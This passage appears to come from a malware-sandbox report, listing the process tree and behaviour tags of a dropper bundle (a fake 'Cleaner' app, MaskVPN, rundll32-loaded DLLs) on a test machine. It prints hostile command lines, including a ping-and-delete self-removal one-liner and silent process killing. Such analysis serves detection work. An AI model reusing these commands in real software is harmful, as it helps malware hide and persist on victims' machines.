C:\Users\Admin\AppData\Local\Temp\MSIBF94.tmp"C:\Users\Admin\AppData\Local\Temp\MSIBF94.tmp"8⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:5324
-
-
-
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /C ping 1.1.1.1 -n 1 -w 100 > Nul & Del "C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"& ping 1.1.1.1 -n 1 -w 900 > Nul & Del "C:\Program Files (x86)\SmartPDF\SmartPDF\Setup.exe"4⤵PID:6388
-
C:\Windows\system32\PING.EXEping 1.1.1.1 -n 1 -w 1005⤵
- Runs ping.exe
PID:6292
-
-
C:\Windows\system32\PING.EXEping 1.1.1.1 -n 1 -w 9005⤵
- Runs ping.exe
PID:2324
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\7zSC7F7FBE3\Thu21df5caa1b78de6.exeThu21df5caa1b78de6.exe /mixone1⤵
- Executes dropped EXE
PID:3104 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3104 -s 2882⤵
- Drops file in Windows directory
- Program crash
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5408
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 436 -p 3104 -ip 31041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5288
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 2540 -ip 25401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5500
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 560 -p 2468 -ip 24681⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5560
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5696 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:5820
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 604 -p 2352 -ip 23521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5668
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 1820 -ip 18201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5768
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 672 -p 5820 -ip 58201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5984
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 528 -p 6104 -ip 61041⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1008
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 748 -p 5792 -ip 57921⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5992
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 5144 -ip 51441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2256
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 544 -p 4540 -ip 45401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5800
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 680 -p 6016 -ip 60161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3688
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:5208 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:3656
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 3656 -s 4603⤵
- Program crash
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
PID:2668
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 728 -p 3656 -ip 36561⤵PID:3284
-
C:\Windows\System32\CompPkgSrv.exeC:\Windows\System32\CompPkgSrv.exe -Embedding1⤵PID:5480
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 728 -p 5972 -ip 59721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3968
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 532 -p 3552 -ip 35521⤵PID:5484
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 708 -p 808 -ip 8081⤵PID:5980
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 5448 -ip 54481⤵PID:5024
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s BITS1⤵
- Modifies data under HKEY_USERS
PID:5276
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV1⤵PID:5420
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo1⤵PID:2060
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5076 -ip 50761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:2696
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Enumerates connected drives
- Drops file in Windows directory
- Modifies data under HKEY_USERS
PID:2380 -
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 07A6C15F90030FCE6BFD5246BFE646D0 C2⤵
- Loads dropped DLL
PID:4800
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 38C43D53B4DA22F2858B24B1D0E8C06C2⤵
- Blocklisted process makes network request
- Loads dropped DLL
PID:2452 -
C:\Windows\SysWOW64\taskkill.exe"C:\Windows\SysWOW64\taskkill.exe" /im AdvancedWindowsManager* /f3⤵
- Kills process with taskkill
PID:5220
-
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 9B6F87F1987AD3450DD541CB73D607AF E Global\MSI00002⤵
- Loads dropped DLL
- Drops file in Windows directory
PID:4764
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 0951F3AD2D8C51A798038992EC3E6E20 C2⤵PID:5696
-
-
C:\Windows\syswow64\MsiExec.exeC:\Windows\syswow64\MsiExec.exe -Embedding 47D974C5588861C8183F6A015268E4452⤵
- Blocklisted process makes network request
PID:6156
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe"2⤵
- Adds Run key to start application
PID:1020 -
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\RequiredApplication_1\Cleaner_Installation.exe" -silent=1 -CID=717 -SID=717 -submn=default3⤵
- Adds Run key to start application
PID:7016 -
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" "--anbfs"4⤵PID:6280
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exeC:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Cleaner\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Cleaner\User Data" --annotation=plat=Win64 --annotation=prod=Cleaner --annotation=ver=0.0.13 --initial-client-data=0x204,0x208,0x20c,0x1e0,0x210,0x7ff9fb8cdec0,0x7ff9fb8cded0,0x7ff9fb8cdee05⤵PID:4316
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1596,7840089573015616971,6725251282114891947,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6280_390954963" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1620 /prefetch:25⤵PID:7772
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1596,7840089573015616971,6725251282114891947,131072 --lang=en-US --service-sandbox-type=network --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6280_390954963" --mojo-platform-channel-handle=1880 /prefetch:85⤵PID:8096
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1596,7840089573015616971,6725251282114891947,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6280_390954963" --mojo-platform-channel-handle=2068 /prefetch:85⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5348
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1596,7840089573015616971,6725251282114891947,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6280_390954963" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --mojo-platform-channel-handle=2492 /prefetch:15⤵PID:4628
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=renderer --no-sandbox --file-url-path-alias="/gen=C:\Users\Admin\AppData\Roaming\Cleaner\gen" --js-flags=--expose-gc --no-zygote --register-pepper-plugins=widevinecdmadapter.dll;application/x-ppapi-widevine-cdm --field-trial-handle=1596,7840089573015616971,6725251282114891947,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6280_390954963" --nwjs --extension-process --ppapi-flash-path=pepflashplayer.dll --ppapi-flash-version=32.0.0.223 --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --mojo-platform-channel-handle=2572 /prefetch:15⤵PID:5248
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=gpu-process --field-trial-handle=1596,7840089573015616971,6725251282114891947,131072 --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6280_390954963" --start-stack-profiler --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3228 /prefetch:25⤵
- Modifies registry class
PID:6888
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,7840089573015616971,6725251282114891947,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6280_390954963" --mojo-platform-channel-handle=1632 /prefetch:85⤵PID:6112
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,7840089573015616971,6725251282114891947,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6280_390954963" --mojo-platform-channel-handle=3592 /prefetch:85⤵PID:5832
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,7840089573015616971,6725251282114891947,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6280_390954963" --mojo-platform-channel-handle=1608 /prefetch:85⤵PID:2176
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1596,7840089573015616971,6725251282114891947,131072 --lang=en-US --service-sandbox-type=none --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6280_390954963" --mojo-platform-channel-handle=2888 /prefetch:85⤵PID:4504
-
-
C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe"C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1596,7840089573015616971,6725251282114891947,131072 --lang=en-US --service-sandbox-type=utility --no-sandbox --user-data-dir="C:\Users\Admin\AppData\Local\Cleaner\User Data" --nwapp-path="C:\Users\Admin\AppData\Local\Temp\nw6280_390954963" --mojo-platform-channel-handle=2320 /prefetch:85⤵PID:5092
-
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -NoLogo -ExecutionPolicy AllSigned -Command "C:\Users\Admin\AppData\Local\Temp\AI_65A8.ps1 -paths 'C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\file_deleter.ps1','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites\aipackagechainer.exe','C:\Users\Admin\AppData\Roaming\Cleaner\Cleaner\prerequisites' -retry_count 10"3⤵
- Blocklisted process makes network request
PID:6932
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5396 -ip 53961⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4708
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 404 -p 1240 -ip 12401⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1652
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:3208 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵
- Loads dropped DLL
PID:5152 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5152 -s 4603⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5796
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 556 -p 5152 -ip 51521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5484
-
C:\Windows\system32\rUNdlL32.eXerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main1⤵
- Process spawned unexpected child process
PID:5320 -
C:\Windows\SysWOW64\rundll32.exerUNdlL32.eXe "C:\Users\Admin\AppData\Local\Temp\axhub.dll",main2⤵
- Loads dropped DLL
PID:2888 -
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2888 -s 4483⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2032
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 2888 -ip 28881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5364
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 4928 -ip 49281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:1092
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall1⤵PID:7056
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "4" "0" "C:\Users\Admin\AppData\Local\Temp\{7583c9db-8cd5-674c-9b01-bf2767fa6f74}\oemvista.inf" "9" "4d14a44ff" "0000000000000158" "WinSta0\Default" "0000000000000168" "208" "c:\program files (x86)\maskvpn\driver\win764"2⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
- Modifies data under HKEY_USERS
PID:7092
-
-
C:\Windows\system32\DrvInst.exeDrvInst.exe "2" "211" "ROOT\NET\0000" "C:\Windows\INF\oem2.inf" "oem2.inf:3beb73aff103cc24:tap0901.ndi:9.0.0.21:tap0901," "4d14a44ff" "0000000000000178" "af8f"2⤵
- Drops file in Drivers directory
- Drops file in Windows directory
- Checks SCSI registry key(s)
PID:6196
-
-
C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k netsvcs -p -s NetSetupSvc1⤵PID:4396
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s DsmSvc1⤵PID:6236
-
C:\Program Files (x86)\MaskVPN\mask_svc.exe"C:\Program Files (x86)\MaskVPN\mask_svc.exe"1⤵
- Loads dropped DLL
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Modifies data under HKEY_USERS
PID:6944 -
C:\Program Files (x86)\MaskVPN\MaskVPNUpdate.exeMaskVPNUpdate.exe /silent2⤵
- Drops file in Program Files directory
- Suspicious use of SetWindowsHookEx
PID:5644
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 504 -p 7024 -ip 70241⤵PID:6724
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV11⤵
- Modifies registry class
PID:3256
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 572 -p 3448 -ip 34481⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5344
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 544 -p 716 -ip 7161⤵PID:2828
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 524 -p 5288 -ip 52881⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5712
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 5080 -ip 50801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6304
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 752 -p 6072 -ip 60721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:3424
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 384 -p 6624 -ip 66241⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5608
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:6188 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:4372
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 4372 -s 4523⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:2468
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 696 -p 4772 -ip 47721⤵PID:6928
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 4372 -ip 43721⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4572
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 688 -p 1720 -ip 17201⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of SetThreadContext
PID:5652
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 5200 -ip 52001⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7108
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 704 -p 2744 -ip 27441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7124
-
C:\Users\Admin\AppData\Local\Temp\80FA.exeC:\Users\Admin\AppData\Local\Temp\80FA.exe1⤵
- Suspicious use of SetThreadContext
PID:3912 -
C:\Users\Admin\AppData\Local\Temp\80FA.exeC:\Users\Admin\AppData\Local\Temp\80FA.exe2⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
PID:7492
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 652 -p 6828 -ip 68281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6288
-
C:\Users\Admin\AppData\Local\Temp\B00A.exeC:\Users\Admin\AppData\Local\Temp\B00A.exe1⤵
- Suspicious use of SetThreadContext
PID:6584 -
C:\Users\Admin\AppData\Local\Temp\B00A.exeC:\Users\Admin\AppData\Local\Temp\B00A.exe2⤵PID:4712
-
-
C:\Users\Admin\AppData\Local\Temp\B00A.exeC:\Users\Admin\AppData\Local\Temp\B00A.exe2⤵PID:7284
-
-
C:\Users\Admin\AppData\Local\Temp\C9AD.exeC:\Users\Admin\AppData\Local\Temp\C9AD.exe1⤵PID:6704
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6704 -s 2362⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5140
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 784 -p 2236 -ip 22361⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:736
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 812 -p 944 -ip 9441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:728
-
C:\Users\Admin\AppData\Local\Temp\E091.exeC:\Users\Admin\AppData\Local\Temp\E091.exe1⤵PID:2628
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2628 -s 2922⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:8088
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 520 -p 6580 -ip 65801⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7252
-
C:\Users\Admin\AppData\Local\Temp\30B6.exeC:\Users\Admin\AppData\Local\Temp\30B6.exe1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7788
-
C:\Windows\system32\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global1⤵
- Process spawned unexpected child process
PID:7988 -
C:\Windows\SysWOW64\rundll32.exerundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global2⤵PID:8052
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8052 -s 4563⤵
- Program crash
- Enumerates system info in registry
PID:1796
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 804 -p 6556 -ip 65561⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7936
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 744 -p 6656 -ip 66561⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6536
-
C:\Users\Admin\AppData\Local\Temp\4E03.exeC:\Users\Admin\AppData\Local\Temp\4E03.exe1⤵PID:7344
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 7344 -s 3082⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
PID:5660
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 632 -p 4316 -ip 43161⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4880
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 676 -p 6704 -ip 67041⤵PID:1812
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 708 -p 4168 -ip 41681⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6720
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 816 -p 2628 -ip 26281⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:6920
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 756 -p 8052 -ip 80521⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:8036
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 824 -p 1464 -ip 14641⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7568
-
C:\Users\Admin\AppData\Local\Temp\B430.exeC:\Users\Admin\AppData\Local\Temp\B430.exe1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
PID:7312
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 780 -p 7344 -ip 73441⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:7508
-
C:\Users\Admin\AppData\Local\Temp\D0B2.exeC:\Users\Admin\AppData\Local\Temp\D0B2.exe1⤵PID:6752
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6752 -s 3042⤵
- Program crash
- Enumerates system info in registry
PID:2848
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 776 -p 132 -ip 1321⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4012
-
C:\Users\Admin\AppData\Local\Temp\DE5F.exeC:\Users\Admin\AppData\Local\Temp\DE5F.exe1⤵
- Suspicious use of SetThreadContext
PID:7836 -
C:\Users\Admin\AppData\Local\Temp\DE5F.exeC:\Users\Admin\AppData\Local\Temp\DE5F.exe2⤵
- Checks SCSI registry key(s)
PID:4144
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 848 -p 6752 -ip 67521⤵PID:5348
-
C:\Users\Admin\AppData\Local\Temp\87D.exeC:\Users\Admin\AppData\Local\Temp\87D.exe1⤵PID:6632
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV12⤵PID:6436
-
-
C:\Users\Admin\AppData\Local\Temp\2FAE.exeC:\Users\Admin\AppData\Local\Temp\2FAE.exe1⤵PID:2612
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2612 -s 2362⤵
- Program crash
- Enumerates system info in registry
PID:2160
-
-
C:\Users\Admin\AppData\Local\Temp\4896.exeC:\Users\Admin\AppData\Local\Temp\4896.exe1⤵
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:7812
-
